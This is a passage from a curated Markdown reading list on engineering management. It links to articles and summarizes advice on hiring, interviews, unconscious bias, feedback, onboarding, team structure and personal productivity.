mosquito bites](https://www.youtube.com/watch?v=hDd3bzA7450) - [19 Unconscious Bias Examples and How to Prevent Them](https://asana.com/resources/unconscious-bias-examples): a pretty comprehensive article with lots of concrete tips and research. - [Proven Strategies for Addressing Unconscious Bias in the Workplace](https://www.cookross.com/docs/UnconsciousBias.pdf) Some great videos by PwC: - 🎞 [Blind spots: Challenge assumptions](https://www.youtube.com/watch?v=BFcjfqmVah8&ab_channel=PwC) - 🎞 [Blind spots: Overcome stereotypes](https://www.youtube.com/watch?v=6_yIevcJCPc&ab_channel=PwC) - 🎞 [Blind spots: Enhance objectivity](https://www.youtube.com/watch?v=Pn5qOgz8dqs&ab_channel=PwC) How to train the team: - [Why Diversity Programs Fail](https://hbr.org/2016/07/why-diversity-programs-fail), HBR - [Unconscious Bias Training That Works](https://hbr.org/2021/09/unconscious-bias-training-that-works), HBR Example trainings: - [Microsoft Inclusion Journey Library](https://www.microsoft.com/en-us/inclusion-journey/library) #### Diversity in hiring - [Why Hiring for "Culture Fit" Hurts Your Culture](http://www.paperplanes.de/2015/6/11/why-hiring-for-culture-fit-hurts-your-culture.html) - [Xavier Niel explains 42: the coding university without teachers, books, or tuition](http://venturebeat.com/2016/06/16/xavier-niel-explains-42-the-coding-university-without-teachers-books-or-tuition/): a thought-provoking take on CS diplomas. - [A Quick Puzzle to Test Your Problem Solving](http://www.nytimes.com/interactive/2015/07/03/upshot/a-quick-puzzle-to-test-your-problem-solving.html?_r=0)... and a great way to learn about confirmation bias (which is not only applicable to hiring but also to testing). - [The Diversity Hiring Playbook](https://business.linkedin.com/content/dam/business/talent-solutions/global/en_US/site/pdf/playbooks/linkedin-diversity-hiring-playbook-en-us.pdf), LinkedIn. Pretty high level but probably a good start. - 🎞 [Hiring women at Klarna](https://www.youtube.com/watch?v=JWYNst72ucI) ### Employee handbook - [Clef's employee handbook](https://github.com/clef/handbook) has been open sourced on Github. - [Gitlab's handbook](https://about.gitlab.com/handbook/) - [Valve's handbook](http://www.valvesoftware.com/company/Valve_Handbook_LowRes.pdf) - [Inaka's handbook](https://github.com/inaka/guidelines) - [Basecamp's handbook](https://github.com/basecamp/handbook) - [Mattermost's handbook](https://docs.mattermost.com/guides/core.html) - [Strapi's handbook](https://handbook.strapi.io) ### Employee retention - [Theory-building and why employee churn is lethal to software companies](https://www.baldurbjarnason.com/2022/theory-building/) - "The death of a program happens when the programmer team possessing its theory is dissolved." Programming as Theory Building by Peter Naur, 1985. - Software is the insights of the development team made manifest. - Most code documentation becomes useful after you have built the theory in your mind - The most reliable method a programmer has for building an accurate ‘theory’ of a piece of software is to have been there when it was first written ("first generation programmer") - Too many second-generation developers and the first generation gets overwhelmed, and work stalls. - Too few second-generation developers and there is no renewal—each developer that leaves the team is a potential catastrophe. - Team stability is vital for software development ### Escalations - [Learn how to escalate issues](http://www.goodproductmanager.com/2007/05/09/learn-how-to-escalate-issues/) - [Mental frameworks for making decisions](http://nathanbarry.com/mental-frameworks/): how to handle escalations as a manager. ### FinOps (cost) - [Efficiency: Managing Infrastructure Costs](https://infraeng.dev/efficiency/) ### First-time manager - [How to Ensure a New Manager Succeeds](https://getlighthouse.com/blog/new-manager-how-to-help-succeed/) - [Six Recipes for Software Managers](http://eng.localytics.com/six-recipes-for-software-managers/) - 1-1 - Team surveys - A safe environment - An informed department - Resilient teams - Self improvement - [The Problem with Tech Leads](https://medium.com/@Bar_Code/the-problem-with-tech-leads-a840af1f511c#.ay11fv7u9) - [Trained Engineers - Overnight Managers (or, The Art Of Not Destroying Your Company)](http://sysadvent.blogspot.nl/2016/12/day-16-trained-engineers-overnight.html) - [A Manager’s FAQ](https://medium.com/eshares-blog/a-managers-faq-35858a229f84#.u1iu04owe) - [This 90-Day Plan Turns Engineers into Remarkable Managers](http://firstround.com/review/this-90-day-plan-turns-engineers-into-remarkable-managers/) - [The New Manager Death Spiral](http://randsinrepose.com/archives/the-new-manager-death-spiral/), Rands in Repose. - [Learnings from six months as a first-time manager](https://www.dein.fr/posts/2014-01-29-learnings-from-six-months-as-a-first-time) - [How to fail as a new engineering manager](https://blog.usejournal.com/how-to-fail-as-a-new-engineering-manager-30b5fb617a) - [Choosing the Management Track](https://blog.danielna.com/choosing-the-management-track/) - You won’t code anymore. - Management forces you to care more about everything. - Management creates an unavoidable power hierarchy. - You need to be technical enough to intervene. - Companies ultimately succeed or fail by their coordinated execution, culture and leadership. ### Feedback and performance - 📖 [Radical Candor — The Surprising Secret to Being a Good Boss](http://firstround.com/review/radical-candor-the-surprising-secret-to-being-a-good-boss/) - 📖 [Amazon.com: Crucial Conversations Tools for Talking When Stakes Are High](https://www.amazon.com/Crucial-Conversations-Talking-Stakes-Second-ebook-dp-B005K0AYH4/dp/B005K0AYH4/ref=mt_kindle?_encoding=UTF8&me=&qid=) by Kerry Patterson. - So the first step to achieving the results we really want is to fix the problem of believing that others are the source of all that ails us. It’s our dogmatic conviction that “if we could just fix those losers, all would go better” that keeps us from taking action that could lead to dialogue and progress. Which is why it’s no surprise that those who are best at dialogue tend to turn this logic around. They believe the best way to work on “us” is to start with “me.” - Respect is like air. As long as it’s present, nobody thinks about it. But if you take it away, it’s all that people can think about. - “One dull pencil is worth six sharp minds.” Don’t leave your hard work to memory. If you’ve gone to the effort to complete a crucial conversation, don’t fritter away all the meaning you created by trusting your memories. Write down the details of conclusions, decisions, and assignments. - [Firing people](https://zachholman.com/talk/firing-people): Zach Holman's talk about his experience being fired from Github offers some great insights into a process that is rarely talked about. - [It’s Never Too Early to Fire](https://a16z.com/2017/05/24/on-firing-why-when-how/), Andreessen Horowitz. - [A Primer on Giving Critical Feedback](http://www.tombartel.de//2016/05/21/a-primer-on-giving-critical-feedback/) - Feedback goes both ways: [Tool: Try Google’s Manager Feedback Survey](https://rework.withgoogle.com/guides/managers-give-feedback-to-managers/steps/try-googles-manager-feedback-survey/) - [Negative feedback antipatterns](https://www.dein.fr/posts/2016-12-02-negative-feedback-antipatterns) - [Performance Reviews Are a Waste of Time](https://blog.bradfieldcs.com/performance-reviews-are-a-waste-of-time-87c88d7553b4): a good contrarian take on formal performance reviews - [The Open Feedback Circle (OFC)](https://medium.com/@padminipyapali/open-feedback-circle-a69601ea5dfd), a great idea by Padmini Pyapali. - We met once a month, sat around a table, and shared feedback with each other in front of our other teammates. This gathering took feedback exchange from being a biannual activity we dreaded to a monthly ritual we looked forward to. - Vulnerability Cultivates Trust - [Simon Sinek: Purpose should be prioritized over metrics](https://www.youtube.com/watch?v=PhuKJWm1_fQ&ab_channel=DenkProducties) - Targets are great. But how targets are reached matters too. A team that would meet its target two months later should be rewarded more than a team that reach its target at the expense of morale and quality. - SEALs measure performance and trust. They would rather have a medium performance high trust person on the team than a high performance low trust person. - Simon's team runs team peer reviews. One person shares their top three weaknesses, the team can comment but they can only say thank you, then they do the same for their strength. ### Hiring #### General - 📖 [Hiring The Best Knowledge Workers, Techies & Nerds: The Secrets & Science Of Hiring Technical People](https://www.amazon.com/Hiring-Knowledge-Workers-Techies-Nerds/dp/0932633595), Johanna Rothman. A solution-oriented book. - Train your interview team to apply a limited-consensus approach to hiring. When groups use limited consensus, not everyone may agree with the decision, but each person should be satisfied enough with a particular candidate’s suitability not to block the decision to hire him or her. - What if the vetoer is someone I don’t want to keep in the organization?” The answer to this is simple: In the interview process, only involve employees whose work you respect and value. If an employee isn’t successful in his or her technical position, don’t make that employee part of the interview team. - Make sure members of your team interview an internal candidate the same way they would interview an external candidate. - Know why you’re hiring more people. Define your problems to define your hiring strategy. - Sometimes, the main reason a hiring manager doesn’t hire a candidate is that he or she has a gut feeling that the person just won’t fit well with the culture. But a “gut feeling” is not a good reason not to hire someone, so train yourself to articulate culture-fit differences. - I personally do not consider certification to mean anything much when I am hiring someone for a technical position. Because the knowledge tested is functional-skills book knowledge, make sure you understand what the person must do to maintain his or her certification and the value of that certification to your environment. - Too often, internal recruiters look for tool and technology expertise or for advanced academic degrees, rather than for functional skill or for product-domain experience. - If you feel the need to take notes, take them on paper, never on a computer. My reason for this is that when you use a computer, you have to sit behind a screen, which creates a barrier between you and the candidate. - Promising an unconditional promotion is not just risky; it is stupid. Circumstances within the company can change; the employee may not perform up to expectations; the economy may tank. - A good example of [offer letter](https://medium.com/@henrysward/a-better-offer-letter-4e9bf61a7365#.md4rm1zlp) from eShares. - [We Hire the Best, Just Like Everyone Else](http://blog.codinghorror.com/we-hire-the-best-just-like-everyone-else/), Jeff Atwood. - ⭐️ [How to Hire](https://medium.com/swlh/how-to-hire-34f4ded5f176#.jxkz3wrs3): one of the best articles about hiring. - ⭐️ [The hiring post](http://sockpuppet.org/blog/2015/03/06/the-hiring-post/): another truly awesome post about hiring by Thomas Ptacek. - [This is why you never end up hiring good developers](http://qz.com/258066/this-is-why-you-dont-hire-good-developers/) - Many interview techniques test skills that are at best irrelevant to real working life; - You want somebody who knows enough to do the job right now; - Or somebody smart and motivated enough that they can learn the job quickly; - You want somebody who keeps getting better at what they do; - Your interview should be a collaborative conversations, not a combative interrogation; - You also want somebody who you will enjoy working with; - It’s important to separate “enjoy working with” from “enjoy hanging out with;” - Don’t hire assholes, no matter how good they are; - If your team isn’t diverse, your team is worse than it needed to be; - Accept that hiring takes a really long time and is really, really hard. - [The single most sure-fire hiring decision you will ever make](http://behindthescenesrecruiter.com/post/82005145232/the-single-most-sure-fire-hiring-decision-you-will#.VxntfpN94UE) is about establishing an intern program. - [Engineering Management - Hiring](http://algeri-wong.com/yishan/engineering-management-hiring.html) explains why hiring should be your top priority. - [When we only hire the best means we only hire the trendiest](http://danluu.com/programmer-moneyball/) - [How to Hire](https://hbr.org/2018/01/how-to-hire), Patty McCord (built HR function at Netflix). - [Trouble hiring senior engineers? It's probably you](https://hiringengineersbook.com/post/trouble-hiring/). - [I've been an engineer and a recruiter. Hiring is broken.](http://blog.alinelerner.com/ive-been-an-engineer-and-a-recruiter-hiring-is-broken-heres-why-and-heres-what-it-should-be-like-instead/) - 🎧 [How to Get the Ideal Team Player](https://coachingforleaders.com/podcast/301/) - [6 qualities that make a great engineer](https://www.intercom.com/blog/traits-of-exceptional-engineers/) - Ambitious and determined - Habitually simplify - Can debug anything, quickly - Help others be great - Know what’s valuable - Are creative and positive #### Hiring: diversity and biases Checkout [Diversity in hiring](#diversity-in-hiring) #### Hiring: interviews - [Vanquish whiteboard interview puzzles with test-driven development](http://www.codewithoutrules.com/2016/04/04/interview-puzzles/), Jocelyn Goldfein. - Joel Spolsky, [The Phone Screen](http://www.joelonsoftware.com/articles/ThePhoneScreen.html) - 🎞 [The pursuit of happyness' interview scene](https://www.youtube.com/watch?v=gHXKitKAT1E) - [Real talk: the technical interview is broken](https://medium.com/@CODE2040/real-talk-the-technical-interview-is-broken-b84b8375dccb#.vxuvtrhad) - [Finding a Tech Leadership Job in Silicon Alley](https://medium.com/@Bar_Code/finding-a-tech-leadership-job-in-silicon-alley-3631e97ff33e#.2w4yzwtgx) (interviewing seen from the candidate experience point of view). - [How I Interview](https://rkoutnik.com/articles/How-I-Interview.html) - [What if companies interviewed translators the way they interview coders?](https://medium.freecodecamp.org/welcome-to-the-software-interview-ee673bc5ef6) - a great counter example of how interview can be disconnected from one's actual job. - 🎞 [Monthy Python: a terrible candidate experience](https://www.youtube.com/watch?v=D4iFzweRf3E) - [Your interviews shouldn’t be spoilable](https://medium.com/@rafeco/your-interviews-shouldnt-be-spoilable-c9088ecea1ee) - How much should you share with the candidate? As much as an ethical person would share with a friend who they referred for the job. - If an interview can be spoiled, it means that the answers can be memorized. - Your spoilable interview is going to get spoiled. Some referred candidates are going to get the answers from their friends. - If foreknowledge doesn’t reduce the quality of your interviews, it means that you have to change your questions less often - [Becoming a good technical interviewer - Dashlane Blog](https://blog.dashlane.com/becoming-a-good-technical-interviewer/) - Interviewing should always be a pleasant experience for the candidate - The fine balance between guiding and giving the solution - I’m interviewing someone much more senior than I am. What if I don’t understand their solution? - [6 red flags I saw while doing 60+ technical interviews in 30 days](https://blog.interviewing.io/6-red-flags-i-saw-while-doing-60-technical-interviews-in-30-days/) - Your interviewer is only open to solving the problem ONE way - Undue pressure to accept an offer letter - Not enough clarity about your role - Consistent lack of interest or low morale from interviewers - Your interviewers aren’t prepared for the interview - Lack of a clear direction on where the company is headed - [How to hire engineering talent without the BS](https://jes.al/2023/03/how-to-hire-engineering-talent-without-the-bs/) - Antipatterns: memory, speed - Best practices: upfront, realistic, structured, guided, empathetic, Specifics about hiring engineering managers: - [Cracking the Engineering Manager interview — Part 1](https://medium.com/srivatsan-sridharan/cracking-the-engineering-manager-interview-part-1-adb0b63c7f2f) - [Hunting for Rock Star Engineering Managers](https://hackernoon.com/hunting-for-rock-star-engineering-managers-9ef9c3716b02) - [VP of Engineering interview](https://karimfanous.medium.com/how-do-you-interview-a-vp-of-engineering-81deddf6daa2) - What is the reasonable interaction between PM and Engineering? - How do you increase your team’s throughput? - How do you scale an engineering team? - How does engineering support sales? - What’s interesting to you about this company? What do you think you can add to the team? - What can you do to accelerate product delivery? #### Hiring: interview questions - [45 sample behavioral questions for interview with developer](https://devskiller.com/45-behavioral-questions-to-use-during-non-technical-interview-with-developers/) - [30 most common behavioral interview questions](https://www.themuse.com/advice/30-behavioral-interview-questions-you-should-be-ready-to-answer) - [Behavioral interviews](http://career.egr.uh.edu/sites/career.egr.uh.edu/files/files/behavioral-interview.pdf) - 🧰 [MaximAbramchuck/awesome-interview-questions](https://github.com/MaximAbramchuck/awesome-interview-questions): a list of list of interview questions. - [40 Favorite Interview Questions from Some of the Sharpest Folks We Know](https://firstround.com/review/40-favorite-interview-questions-from-some-of-the-sharpest-folks-we-know/), First Round Review - What do you want to do differently in your next role? - Imagine yourself in three years. What do you hope will be different about you then compared to now? - Among the people you've worked with, who do you admire and why? - What are you really good at, but never want to do anymore? - How did you prepare for this interview? - What do you believe you can achieve with us personally or professionally that you can't anywhere else in the world? - When was the last time you changed your mind about something important? - What’s one misconception your coworkers have about you? - What was the last thing you nerded out on? - What are 10 ways to speed up Domino’s pizza delivery? - [How to create a good problem-solving interview](https://blog.dashlane.com/how-to-create-a-good-problem-solving-interview/) - What to look for: methodology, communication, programming skills - Don’t aim for complexity - Interview your coworkers - Standardize your interview - [5 coding interview questions I hate](https://blog.thoughtspile.tech/2022/03/21/bad-tech-interview/) - Trivia - Specifics - Obfuscated questions - Unspecified behavior #### Hiring: job postings - [A Guide on How To Write a Software Developer Job Description](https://blog.hubstaff.com/how-to-write-job-posting-developers/) - [Software Engineer Job Descriptions that Attract the Best Developers](https://www.codementor.io/blog/software-engineer-job-descriptions-that-attract-the-best-developers-241lev4cs8) - [How to Write a Job Description for Developers](https://www.codingame.com/work/blog/tech-recruiting/job-description-for-developers/) - [How to communicate why your startup is worth joining](https://wasp-lang.dev/blog/2022/08/15/how-to-communicate-why-your-startup-is-worth-joining) #### Hiring: process - [Medium’s engineering interview process](https://medium.engineering/mediums-engineering-interview-process-b8d6b67927c4#.hwjb9hizh): Medium open sourced their hiring process. - Gitlab, [Hiring Principles](https://about.gitlab.com/handbook/hiring/principles/). Their whole process is also open sourced. - [How Firebase Interviewed Software Engineers](https://startupandrew.com/posts/how-firebase-interviewed-software-engineers/) - We looked for candidates who were friendly, smart, and motivated - We looked for generalist, pragmatic problem solvers - [No engineer has ever sued a company because of constructive post-interview feedback. So why don't employers do it?](http://blog.interviewing.io/no-engineer-has-ever-sued-a-company-because-of-constructive-post-interview-feedback-so-why-dont-employers-do-it/) - Be clear that it’s a no-go. - When you give suggestions, be specific and constructive. - Make recommendations. Is there a book they could read? #### Hiring: résumé review - [When Is Short Tenure a Red Flag?](https://jacobian.org/2022/oct/14/when-is-short-tenure-a-red-flag/) #### Hiring: sourcing - [How To Hire Engineers: Step 1, Sourcing](https://medium.com/@jocelyngoldfein/how-to-hire-engineers-step-1-sourcing-f388fddc63fd#.fwtgweq0e) - [The Case For Language-Agnostic Hiring](https://alphalist.com/blog/the-case-for-language-agnostic-hiring) - Good Programmers Can Adapt to Any Language - Hire Broad-minded Devs- Not Ones Boxed Into a Specific Language - Encourage Knowledge Sharing Among Devs #### Hiring: take home exercises - [How GitHub does take home technical interviews](https://github.blog/2022-03-31-how-github-does-take-home-technical-interviews/) - [guardian/coding-exercises](https://github.com/guardian/coding-exercises) - [Take-home vs whiteboard coding: The problem is bad interviews](https://andrewrondeau.com/blog/2020/04/take-home-vs-whiteboard-coding-the-problem-is-bad-interviews) #### Hiring: quotes > If you can 'hire tough,' you can 'manage easy'. Sue Tetzlaff, The Employee Experience: A Capstone Guide to Peak Performance > I am convinced that nothing we do is more important than hiring and developing people. At the end of the day you bet on people, not on strategies. Lawrence Bossidy, GE > I hire people brighter than me and then I get out of their way. Lee Iacocca, Ford > You can dream, create, design and build the most wonderful place in the world... but it requires people to make the dream a reality. Walt Disney > Hire character. Train skill. Peter Schutz, Porsche > In technology, it's about the people. Getting the best people, retaining them, nurturing a creative environment, and helping to find a way to innovate. Marissa Mayer > I'd rather interview 50 people and not hire anyone than hire the wrong person. Jeff Bezos > Talent wins games, but teamwork and intelligence win championships. Michael Jordan, American former professional basketball player > Often the best solution to a management problem is the right person. Edwin Booz > Somebody once said that in looking for people to hire, you look for three qualities: integrity, intelligence, and energy. And if you don't have the first, the other two will kill you. You think about it; it's true. If you hire somebody without [integrity], you really want them to be dumb and lazy. Warren Buffet > One cannot hire a hand; the whole man always comes with it. Peter Drucker > If you think it's expensive to hire a professional to do the job, wait until you hire an amateur. Red Adair ### Incident prevention and response (on-call, outages) Also see my [professional-programming list](https://github.com/charlax/professional-programming/#incident-response-oncall-alerting-outages-firefighting-postmortem) - [Handling Incidents and Outages](https://www.infoq.com/news/2015/06/handling-incidents-outages/) - [When the Sky Falls](http://randsinrepose.com/archives/when-the-sky-falls/), Rands in Repose ### Learning, retro, postmortem See my [professional-programming section about incident-response](https://github.com/charlax/professional-programming) - [This is How Effective Leaders Move Beyond Blame](http://firstround.com/review/this-is-how-effective-leaders-move-beyond-blame/) - A great description of what blamelessness actually means: [How is team-member-1 doing?](https://about.gitlab.com/2017/03/17/how-is-team-member-1-doing/) (team-member-1 is the name of the person that "gave the unfortunate command to delete our primary database" during the global Gitlab outage in Feb 2017. - [Debriefing Facilitation Guide](https://extfiles.etsy.com/DebriefingFacilitationGuide.pdf): Etsy's guide to debriefing & incident review. - [General James 'Mad Dog' Mattis Email About Being 'Too Busy To Read' Is A Must-Read](http://www.businessinsider.com/viral-james-mattis-email-reading-marines-2013-5): "by reading, you learn through others’ experiences, generally a better way to do business, especially in our line of work where the consequences of incompetence are so final for young men." - [You can increase your intelligence: 5 ways to maximize your cognitive potential](https://blogs.scientificamerican.com/guest-blog/you-can-increase-your-intelligence-5-ways-to-maximize-your-cognitive-potential/): forgive the clickbait link, it's actually a good article. - [Startup Graveyard – History Shouldn't Have to Repeat Itself](http://startupgraveyard.io/) - [Design critiques at Figma](https://www.figma.com/blog/design-critiques-at-figma/?ref=uxdesignweekly) - Pick the right format: standard, brainstorms, small groups, silent, printed, etc. - Use smaller rooms - Buy a timer and keep diligent time - Remember to critique OUTSIDE of weekly meetings Quotes: - "Excellence is achieved by the mastery of fundamentals", Vince Lombardi, considered to be one of the best coaches in NFL history. ### Management style - [Humane Development](https://ernie.io/2014/12/17/humane-development/): "we are humans working with humans to develop software for the benefit of humans." - [Leadership is making a comeback](https://www.reaktor.com/blog/leadership-is-making-a-comeback/) : interesting article that proposes a model where the leader is neither a servant nor a hero, but a host. - [Management Philosophy](https://www.3002.ca/2017/06/management-philosophy.html) - [12 "Manager READMEs" from Silicon Valley’s Top Tech Companies](https://hackernoon.com/12-manager-readmes-from-silicon-valleys-top-tech-companies-26588a660afe) - 🎞 [What is your philosophy on leadership? How do you inspire your team to do their best?](https://www.youtube.com/watch?v=TQhns5AwAkA): beautiful sequence between Nelson Mandela (played by Morgan Freeman) and François Pienaar (Matt Damon). - [Why Software Development Requires Servant Leaders](https://adl.io/essays/why-software-development-requires-servant-leaders/) - Andreessen Horowitz, [Peacetime CEO/Wartime CEO](https://a16z.com/2011/04/14/peacetime-ceo-wartime-ceo/) - Peacetime CEO knows that proper protocol leads to winning. Wartime CEO violates protocol in order to win. - [Excerpts from One From Many, Dee Hock](https://twitter.com/zackkanter/status/1272200276015853569), Zack Kanter on Twitter. - Your first responsibility as a manager is to manage yourself: your integrity, character, ethics, knowledge, wisdom, temperament, words and acts. - The second responsibility is to manage those who have authority over us. - The third responsibility is to manage your peers: without their respect and confidence, nothing can be accomplished. - The fourth responsibility is to manage those whom we have authority. - You can't manage your bosses, peers, regulators etc. But you can understand them, motivate them, influence them, forgive them. - "It is from failure that amazing growth and grace so often come, provided only that one can recognise it, admit it, learn from it, rise above it, and try again. True leadership presumes a standard quite beyond human perfectibility and that is quite alright, for joy and satisfaction are in the pursuit of an objective, not in its realization." - [Managing Staff-plus engineers](https://lethain.com/managing-staff-plus-engineers/) - [An Engineering Team where Everyone is a Leader](https://blog.pragmaticengineer.com/a-team-where-everyone-is-a-leader/), Gergely Orosz. - One project, one engineering lead - Mentoring, then coaching the first few leaders - Transparency and accountability via weekly, written updates Quote: > If you want to build a ship, don't drum up people to collect wood and don't assign them tasks and work, but rather teach them to long for the endless immensity of the sea. > > – Antoine de Saint-Exupery > Management is doing things right; leadership is doing the right things. > > – Peter Drucker > The people who work for you have three resources: time, energy, and give-a-fuck. Time is the cheapest. It replenishes one hour every hour. Energy is more expensive. When you're out you need lots of time off to recharge. Once give-a-fuck is burned, it's gone forever. > > – @leftoblique  ### Meetings - [On Better Meetings](http://larahogan.me/blog/better-meetings/): Lara Hogan shares tips about ensuring efficient meetings. - 🎞 [Almost Live! - Middle Management Suck-Ups](https://www.youtube.com/watch?v=IUIQX5esnNo): a great example of a terrible ineffective meeting. - [Run Better Meetings with This Expert-Level Advice](http://firstround.com/review/first-round-reviews-6-must-reads-to-run-fast-efficient-meetings/), First Round Review - [Engineering Team Meeting: Format & Topic Ideas](https://marcgg.com/blog/2020/04/06/engineering-team-meeting-ideas/): lots of great ideas to start it. - [The Document Culture of Amazon](https://www.justingarrison.com/blog/2021-03-15-the-document-culture-of-amazon/) - Documents help eliminate many biases, for or against, the person who wrote the document. - There’s no “can you see my screen”, background noise, or call audio disconnects while understanding the main content for the meeting. ### Mentoring - [The Conjoined Triangles of Senior-Level Development](http://frontside.io/blog/2016/07/07/the-conjoined-triangles-of-senior-level-development.html) looks into how to define a senior engineer. - [30 questions to ask your mentor](https://blog.get-merit.com/30-questions-to-ask-a-mentor/) - [Advice is Cheap — Context is Priceless](http://firstround.com/review/advice-is-cheap-context-is-priceless/) - [Developers mentoring other developers: practices I've seen work well](https://blog.pragmaticengineer.com/developers-mentoring-other-developers/), Gergey Orosz - Provide context and perspective - Leverage your network to help the mentee - Be supportive - Avoid giving answers on a silver plate - Tailor your approach for technical vs non-technical topics - People learn best when they help themselves ### Mindset and attitude - [Taking Ownership Is The Most Effective Way to Get What You Want](http://www.theeffectiveengineer.com/blog/take-ownership-of-your-goals) - [Shreyas Doshi on Twitter: "Good managers, what they do, how they think & act](https://twitter.com/shreyas/status/1290685921348562948) - Good managers are skilled at asking questions that give their team members a new perspective on the problem and reach the right solution on their own. - Good managers address context first, then content. - Good managers know that, above all else, they are agents of their company. Their default mode is to make and facilitate company-optimal choices. - Good managers know that fixing broader company culture is an important part of their role as a designated leader within the company. - Good managers understand that the long game is all about people. - Good managers don’t have just one go-to management style nor do they have a notion of “THE ideal employee”. - Good managers can discern good intent from bad. Warren Buffet, "It's only when the tide goes out that you learn who's been swimming naked." ### Motivation - 🎞 [Drive: The surprising truth about what motivates us](https://www.youtube.com/watch?v=u6XAPnuFjJc) (summary of Daniel Pink's book). - The [two-factor theory](https://en.wikipedia.org/wiki/Two-factor_theory) (Wikipedia) "states that there are certain factors in the workplace that cause job satisfaction, while a separate set of factors cause dissatisfaction." - [Bored People Quit](http://randsinrepose.com/archives/bored-people-quit/), Rands in Repose - [The Development Abstraction Layer](https://www.joelonsoftware.com/2006/04/11/the-development-abstraction-layer-2/), Joel on Software Quotes: - "The best time to plant a tree was twenty years ago. The second best time is now", Chinese proverb. - "A ship in harbor is safe, but that is not what ships are made for.", John A Shedd. ### Onboarding new team members or yourself - [How to quickly (and successfully) onboard engineers](https://about.gitlab.com/blog/2022/07/21/quickly-onboarding-engineers-successfully/), GitLab - 🎞 [5 Onboarding Fiascos From the Movies](https://business.linkedin.com/talent-solutions/blog/recruiting-humor-and-fun/2016/the-worst-new-hire-first-days-in-movies-that-you-should-never-let-happen-in-your-company) - [Onboarding - Mattermost Handbook](https://handbook.mattermost.com/operations/workplace/people/working-at-mattermost/onboarding) - [Gitlab's engineering onboarding list](https://gitlab.com/gitlab-com/people-group/people-operations/employment-templates/blob/master/.gitlab/issue_templates/onboarding.md) - [How To Use Your Unfair Advantage To Create an Unforgettable First Day For New Hires](https://lnbogen.com/2013/04/11/how-to-use-your-unfair-advantage-to-create-an-unforgettable-first-day-for-new-hires/), Oren Ellenbogen - [Engineering Onboarding Processes at Medium](https://medium.engineering/engineering-onboarding-processes-at-medium-368095116ac3), Medium - [A Career Cold Start Algorithm](https://boz.com/articles/career-cold-start), Andrew Bosworth. How to run your first 1-1s on a new team. - For the first 25 minutes: ask them to tell you everything they think you should know. - For the next 3 minutes: ask about the biggest challenges the team has right now. - In the final 2 minutes: ask who else you should talk to. Write down every name they give you. ### Organizational structure See also [Data organization](#data-organization) - [Spotify’s Failed #SquadGoals](https://www.jeremiahlee.com/posts/failed-squad-goals/) - Engineering managers in this model had little responsibility beyond the career development of the people they managed. - There was no single person accountable for the engineering team’s delivery or who could negotiate prioritization of work at an equivalent level of responsibility. - Autonomy requires alignment. Company priorities must be defined by leadership. Autonomy does not mean teams get to do whatever they want. - Business units, departments, teams, and managers more effectively communicate organization structure roles and responsibilities than Spotify’s synonyms and are not attached to a way of working that failed their creator. - [Independence,autonomy,too many small teams](https://kislayverma.com/organizations/independence-autonomy-and-too-many-small-teams/) - Every autonomous team is expected to generate direct business value all by itself, without a lot of overlap with other teams. - The team should be able to meets its goals independently (i.e. without reliance on or interference from other teams). - Coordination, also known as alignment, communication, shared roadmap, Gantt chart and many other positive sounding names, is the arch-enemy of the autonomous team. - 🎞 [Monoliths vs Microservices is Missing the Point—Start with Team Cognitive Load](https://www.youtube.com/watch?v=haejb5rzKsM&ab_channel=ITRevolution) by the authors of team topologies. - [Organizing software teams](https://medium.com/swlh/how-to-structure-teams-for-building-better-software-products-91e4dea021d) (Team Topologies Book Summary) - There should be no shared ownership of components, libraries, or code. - If you have microservices but are still waiting to do end-to-end testing of a combination of services, you have a distributed monolith (a distributed monolith is when all changes in a service require updates to other services). - Use software boundaries defined by business-domain bounded contexts - Teams composed of only people with single functional expertise should be avoided at all costs. - Four fundamental team topologies: stream-aligned, enabling, complicated subsystem, platform. - [Structure Eats Strategy](https://janbosch.com/blog/index.php/2017/11/25/structure-eats-strategy/) - BAPO: the B (business) should define the A (architecture) which is the starting point for the P (process), on which the O (organization) is based. - Most companies are not BAPO but instead they are OPAB: the existing organization is used as a basis for the definition of convenience-driven processes, which in turn leads to an accidental architecture. ### Production and productivity - [The Toyota Way](https://en.wikipedia.org/wiki/The_Toyota_Way), Wikipedia - Base your management decisions on a long-term philosophy, even at the expense of short-term financial goals. - Create a continuous process flow to bring problems to the surface. - Use "pull" systems to avoid overproduction. - Level out the workload - Build a culture of stopping to fix problems, to get quality right the first time - Standardized tasks and processes are the foundation for continuous improvement and employee empowerment. - Use visual control so no problems are hidden. - Use only reliable, thoroughly tested technology that serves your people and processes. - Grow leaders who thoroughly understand the work, live the philosophy, and teach it to others. - Develop exceptional people and teams who follow your company's philosophy. - Respect your extended network of partners and suppliers by challenging them and helping them improve. - Go and see for yourself to thoroughly understand the situation - Make decisions slowly by consensus, thoroughly considering all options; implement decisions rapidly - Become a learning organization through relentless reflection (hansei) and continuous improvement (kaizen) ### Personal productivity About productivity in general: - [43 Folders Series: Inbox Zero](http://www.43folders.com/izero): how to get and maintain your email inbox at a sane level. - [CannotMeasureProductivity](https://martinfowler.com/bliki/CannotMeasureProductivity.html), Martin Fowler (about how you cannot measure developer productivity. - 🎧 [How to Change Your Behavior](https://coachingforleaders.com/podcast/change-your-behavior-bj-fogg/), Coaching for Leaders - It’s a myth that it takes 21 or 66 days to create a habit. Repetition doesn't create habits. Emotions create habits. - Create a tiny habit through an ABC process: anchor moment, a tiny behavior, and instant celebration. - Avoid raising the bar on the tiny behavior. Do more if you want to, but don’t change the standard. - ['Touch it once' method for tasks can boost productivity](https://www.cnbc.com/2018/06/21/touch-it-once-method-for-tasks-can-boost-productivity.html) - As soon as you touch something, you immediately act on it. - [The Ultimate Guide to Personal Productivity Methods](https://todoist.com/inspiration/personal-productivity-methods), Todoist - [Evidence-based advice on how to be successful in any jobs](https://80000hours.org/career-guide/how-to-be-successful/): most self-help advices are not research-based. The ones listed in this article are. - [The Complete Guide to Deep Work](https://todoist.com/inspiration/deep-work) - The ability to perform deep work is becoming increasingly rare at exactly the same time it is becoming increasingly valuable in our economy. - Choose Your Deep Work Strategy - Build a Deep Work Routine - Discipline #1: Focus on the Wildly Important - Discipline #2: Act on the Lead Measures - Discipline #4: Create a Cadence of Accountability - Our Ability for Deep Work is Finite - The Craftsman Approach to Tool Selection - Stop Using Social Media - Get Your Boss on Board With Deep Work - [Every productivity thought I've ever had, as concisely as possible](https://guzey.com/productivity/) - Context intentionality as the key difference between home and every other place on planet earth - Rules are about exceptions - [100 Tips for a Better Life](https://www.lesswrong.com/posts/7hFeMWC6Y5eaSixbD/100-tips-for-a-better-life) - Deficiencies do not make you special. The older you get, the more your inability to cook will be a red flag for people. - History remembers those who got to market first. Getting your creation out 